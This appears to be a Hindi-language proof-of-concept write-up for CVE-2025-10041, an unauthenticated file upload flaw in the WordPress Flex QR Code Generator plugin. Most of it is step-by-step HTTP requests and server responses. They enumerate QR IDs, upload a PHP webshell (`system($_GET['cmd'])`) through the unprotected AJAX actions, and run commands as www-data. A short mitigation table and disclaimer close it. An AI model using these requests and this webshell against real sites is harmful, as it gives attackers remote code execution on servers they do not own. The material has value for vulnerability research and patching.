
CVE-2025-10041 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WordPress Flex QR Code Generator प्लगइन में अनप्रमाणित (unauthenticated) मनमाना फ़ाइल अपलोड है, जिससे रिमोट कोड एक्ज़ीक्यूशन (remote code execution) होता है।
अनधिकृत रूप से ID प्राप्त करें → अपडेट इंटरफ़ेस कॉल करके PHP फ़ाइल अपलोड करें → webshell तक पहुंचें → RCE
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded
per_page=50&page=1
प्रतिक्रिया में मान्य id (जैसे 9) और logo_url पथ प्राप्त किया जा सकता है।
{
"success": true,
"data": {
"qrCodes": [{
"id": "9",
"qr_name": null,
"text": "",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
"created_at": "2025-10-16 11:16:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
},
{
"id": "8",
"qr_name": null,
"text": "https:\/\/example.com",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"data\":\"https:\/\/example.com\"}",
"created_at": "2025-10-16 11:01:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
}], "totalItems": "9"
}
}
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"
9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream
AiErBuDe
------WebKitFormBoundaryABC123--
✅ प्रतिक्रिया success: true अपलोड सफल होने का संकेत देती है।
{
"success": true,
"data": {
"message": "QR code updated successfully.",
"id": 9,
"finalUrl": "https:\/\/example.com"
}
}
फ़ाइल पथ प्रारूप: {original_name}_{id}.php
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
सर्वर फ़ाइल सामग्री लौटाता है
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8
AiErBuDe
अनधिकृत रूप से इंटरफ़ेस तक पहुंचकर दुर्भावनापूर्ण फ़ाइल अपलोड करें → webshell तक पहुंचें → RCE
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"
flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--
प्रतिक्रिया में मान्य id (जैसे 10) और success परिणाम प्राप्त किया जा सकता है
{
"success": true,
"data": {
"message": "QR code saved successfully.",
"id": 10,
"finalUrl": ""
}
}
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
✅ सर्वर कमांड निष्पादन परिणाम लौटाता है, RCE सफल।
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54
uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)
flex-qr-code-generator/qr-code-generator.phpsave_qr_code_to_db() और update_qr_code()$_FILES['logo']['error'] === UPLOAD_ERR_OK की जाँच करता है{original_name}_{id}.ext, id स्वतः-वृद्धि प्राथमिक कुंजी हैwp_ajax_nopriv_ हुक के माध्यम से पंजीकृत, इंटरफ़ेस को बिना लॉगिन किए उपयोगकर्ताओं द्वारा एक्सेस किया जा सकता है:
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
noprivका अर्थ है "कोई अनुमति आवश्यकता नहीं", हमलावर बिना लॉगिन किए कॉल कर सकता है।
| उपाय | विवरण |
|---|---|
| ✅ अनुमति नियंत्रण | nopriv हुक हटाएं, केवल व्यवस्थापक को कॉल करने दें |
| ✅ फ़ाइल प्रकार जाँच | व्हाइटलिस्ट द्वारा एक्सटेंशन सीमित करें (जैसे jpg/png/gif) |
| ✅ PHP निष्पादन रोकें | uploads/.htaccess में PHP निष्पादन रोकें |
| ✅ फ़ाइल पुनर्नामकरण | यादृच्छिक फ़ाइल नाम उपयोग करें, अनुमान लगाने से बचें |
| ✅ प्लगइन अपग्रेड करें | आधिकारिक अपडेट पर ध्यान दें, समय पर अपग्रेड करें |
यह लेख केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है, अनधिकृत पेनेट्रेशन परीक्षण या हमले की कार्रवाई निषिद्ध है। उपयोगकर्ताओं को प्रासंगिक कानूनों और विनियमों का पालन करना होगा।